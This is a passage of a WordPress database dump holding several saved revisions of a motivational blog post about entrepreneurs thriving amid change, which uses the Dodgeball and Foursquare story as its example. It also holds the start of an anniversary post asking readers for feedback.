“Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers. We are long past the industrial model of control and conquer to one of attraction and engagement. Today it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-5', '', '', '2012-06-14 10:16:39', '2012-06-14 17:16:39', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-5/', 0, 'revision', '', 0),
(2092, 2, '2012-06-14 10:48:12', '2012-06-14 17:48:12', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\r\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\r\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-7', '', '', '2012-06-14 10:48:12', '2012-06-14 17:48:12', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-7/', 0, 'revision', '', 0),
(2093, 2, '2012-06-14 10:48:21', '2012-06-14 17:48:21', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\r\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\r\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-8', '', '', '2012-06-14 10:48:21', '2012-06-14 17:48:21', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-8/', 0, 'revision', '', 0);
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(2094, 2, '2012-06-14 10:48:38', '2012-06-14 17:48:38', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\r\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\r\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-9', '', '', '2012-06-14 10:48:38', '2012-06-14 17:48:38', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-9/', 0, 'revision', '', 0),
(2095, 2, '2012-06-14 10:48:49', '2012-06-14 17:48:49', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\r\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\r\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\r\n\r\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\r\n\r\n<strong>We’re in this together.</strong>\r\n\r\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\r\n\r\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\r\n\r\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\r\n\r\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\r\n\r\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\r\n\r\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\r\n\r\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\r\n\r\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\r\n\r\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\r\n\r\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\r\n\r\n<strong>The New Wave</strong>\r\n\r\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\r\n\r\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\r\n\r\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\r\n\r\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\r\n\r\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\r\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\r\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\r\n\r\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\r\n\r\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-revision-10', '', '', '2012-06-14 10:48:49', '2012-06-14 17:48:49', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-revision-10/', 0, 'revision', '', 0),
(2096, 2, '2012-06-14 10:55:58', '2012-06-14 17:55:58', '<img class="alignnone size-full wp-image-2085" title="opportunity from chaos" src="http://whc.fbdev.org/wp-content/uploads/2012/06/storm-at-sea-lorraine-foster.jpg" alt="" width="495" height="298" />\n<h1><span style="color: #808080;">Like a raging storm in the open sea, the waves of change come at entrepreneurs from all directions. There is no eye in this perfect storm–no brief moment of calm to prepare for the next big wind to blow your business off course. The sea change is so fast most entrepreneurs can hardly manage the process of learning what’s necessary to keep their ship afloat in all the apparent chaos surrounding them.</span></h1>\nFrom the media we hear daily about the dire circumstances facing all of us on the planet. The stubbornly slow global economy, dwindling resources, over population, political uncertainty and global unrest are taking its toll on the collective creativity and resourcefulness necessary for humans to solve the wicked problems we have created in our modern age.\n\nEverything is different now–profoundly different. Yet it is out of and from chaos and uncertainty that all new order is born. And we are at the beginning of a new order. That’s very good news for creative entrepreneurs willing to view it as such and act accordingly.\n\n<strong>We’re in this together.</strong>\n\nRight now many entrepreneurs and solo professionals are connecting the dots between their present circumstances and the bigger, better future they desire to create; between the global picture and their personal circumstances; between individual and collective success. Between the old ways and new creative ideas.\n\nAs entrepreneurs, we can’t afford to continue to operate on the premise that when one of us wins, another must lose. We need to leave the restrictions of the competitive plane and operate on the creative plane–creating new value rather than competing for the value already created by others. We’re all in this together.\n\n<strong>“The future ain’t what it used to be”–Yogi Berra.</strong>\n\nThe future now arrives at an accelerating rate. Products are out-of-date almost before they are fully embraced and established in the marketplace. So are your assumptions, your forecasts, metrics and winning formulas. Everything seems to be moving past the sell-by date just as fast as it’s being created. This pace is the new normal.\n\nBut as your innovations quickly become out of date, your assessment of the problem is also out of date. What frictions you are facing in your business are evaporating just as fast.\n\nEmbedded in the accelerated pace, you also have an entirely new world of opportunity and a whole host of new possibilities before you. These waves of opportunity are everywhere, and one doesn’t need to look far to find examples of creative entrepreneurs creating insane value seemingly out of thin air and at lightspeed. Consider this story of creating massive value:\n\nBack in 2003, Dennis Crowley wanted an easy way to let his friends know what bar he was hanging out in. In those early days, many people were still using pagers and text messaging was in its early phase. Using existing technology and Google Maps, he turned this idea into a business called “Dodgeball”.\n\nTwo short years later in 2005, Google bought the fledging business for a million bucks. Google had no idea at the time smart phones were eminently on the horizon replacing current SMS services, so they ended up closing Dodgeball. Dennis kept the million bucks still believing in his original idea that people wanted to let their friends know where they are–now using smart phones.\n\nThe same year Apple launched the iPhone, Dennis launched a new company called “Foursquare”. Two years later Foursquare had 15 million users, 3 million check-ins a day, and now is worth roughly $600 million.\n\nFacebook, PayPal, Groupon, Living Social all followed a similar path creating unimaginable value out of thin air in unimaginable timeframes. Never before in human history has this occurred.\n\n<strong>The New Wave</strong>\n\nIn the industrial age, power laws were based on the power of production. Those with the means to control the production of stuff controlled markets. This was the age of control and competition. The Internet, technology and our global connections have shifted the power of production to the power of the crowd. In other words, customers now have the power buying what they want at the price they want, when they want.\n\nIt’s no longer about the economies of scale, but the economies of speed. This is the new wave.\n\nValue is now controlled by the power of the crowd. In the old paradigm, producers created products then went looking for customers. Find a need a fill it no longer works. No one needed an iPhone, but once realized, people couldn''t live without it.\n\nWhere will this new wave lead?  Seemingly in every industry, customers will increasingly hold the power to set the price of everything from the places they stay to the talent they hire, from the food and cars they buy to the bank fees and mortgage rates they choose. The economies of industries are being turned upside down, and so will the economies of your own business.\n\nHow customers participate in the shaping of your products and services will make all the difference to their level of acceptance and loyalty. In the age of transparency in which we are now living, customers have the power not the producers.\n<h2>We are long past the industrial model of control and conquer to one of attraction and engagement.</h2>\nToday it’s commonplace to have homemade videos being viewed by as many people on YouTube as view national cable channels on TV. Ten short years ago, this was the stuff of fantasy. For creative entrepreneurs this is the new golden age!\n\nThe result and impact of all this “chaos” has led enlightened entrepreneurs to realize they must shift their thinking from selling to contributing value first, then bake the marketing into more social, friendly and “add value first” conversations with customers. Business is now one-to-one, up close and personal, and at long last more human.\n\n<strong>Out of the chaos of our current circumstances we can rise to a new age of creative prosperity.</strong>', 'Creativity is born out of chaos and uncertainty.', 0, '', 'inherit', 'open', 'open', '', '2084-autosave', '', '', '2012-06-14 10:55:58', '2012-06-14 17:55:58', '', 2084, 'http://www.whitehotcenter.com/2012/06/2084-autosave/', 0, 'revision', '', 0),
(2097, 2, '2012-07-08 09:39:23', '2012-07-08 16:39:23', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year of blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers-you among them! Thank you for your vote of confidence! Now how can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social-media-over-saturated-hyer-connected digital world.  Attention is the currency of our age. I am blessed to have enogh of yours that you are a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating) journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was compelled to follow my original idea that I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, value creation, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! Every day more people are discovering the White Hot Center and joining in on the conversation here. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>Our beliefs about ourselves is the dominant factor affecting our progress toward achievement. Success is a mindset–an inner game we can master. It is this desire to be masters at thinking bigger and creating something amazing with our life that brings us together here. We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission. I''d like to grow the WHC. I''m looking for ideas and feedback from you. Please tell me how I can get better–better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success in every area of your life.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'publish', 'open', 'open', '', 'an-anniversary-reach-out-to-whc-readers', '', '', '2012-07-08 09:39:23', '2012-07-08 16:39:23', '', 0, 'http://www.whitehotcenter.com/?p=2097', 0, 'post', '', 0),
(2098, 2, '2012-07-08 08:48:21', '2012-07-08 15:48:21', '', '4years', 0, '', 'inherit', 'open', 'open', '', '4years', '', '', '2012-07-08 08:48:21', '2012-07-08 15:48:21', '', 2097, 'http://www.whitehotcenter.com/wp-content/uploads/2012/07/4years.gif', 0, 'attachment', 'image/gif', 0),
(2099, 2, '2012-07-08 08:54:12', '2012-07-08 15:54:12', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\n<h1><span style="color: #808080;">This summer marks the fourth year I have been blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers- you among them!  Thank you for your vote of confidence! How can I get better?</span></h1>\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social media over-saturated, hyer-connected digital world.  Your attention is the currency of our age. I am blessed to have you as a subscriber!\n\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\n\nThis blogging experiment has been a fascinating (and frustrating)journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was thinking maybe I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, marketing and business development.\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! More people are discovering the White Hot Center and joining in on the conversation here just about every day. These little victories keep me in the game working to get better and grow my value to you all.</h2>\n<strong></strong>We both agree our beliefs about ourselves affect our progress. We both share the desire to be masters at thinking bigger and creating something amazing with our life.  We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients. I believe these ideas bond us together in our conversations here.\n\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the venue for me to accomplish that mission.\n\nConsequently, I like to reach out to you and ask you to tell me how I can get better– better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success.\n\n&nbsp;\n\n<strong>Please share your comment!</strong>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision', '', '', '2012-07-08 08:54:12', '2012-07-08 15:54:12', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision/', 0, 'revision', '', 0),
(2100, 2, '2012-07-08 08:54:46', '2012-07-08 15:54:46', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year I have been blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers- you among them!  Thank you for your vote of confidence! How can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social media over-saturated, hyer-connected digital world.  Your attention is the currency of our age. I am blessed to have you as a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating)journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was thinking maybe I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! More people are discovering the White Hot Center and 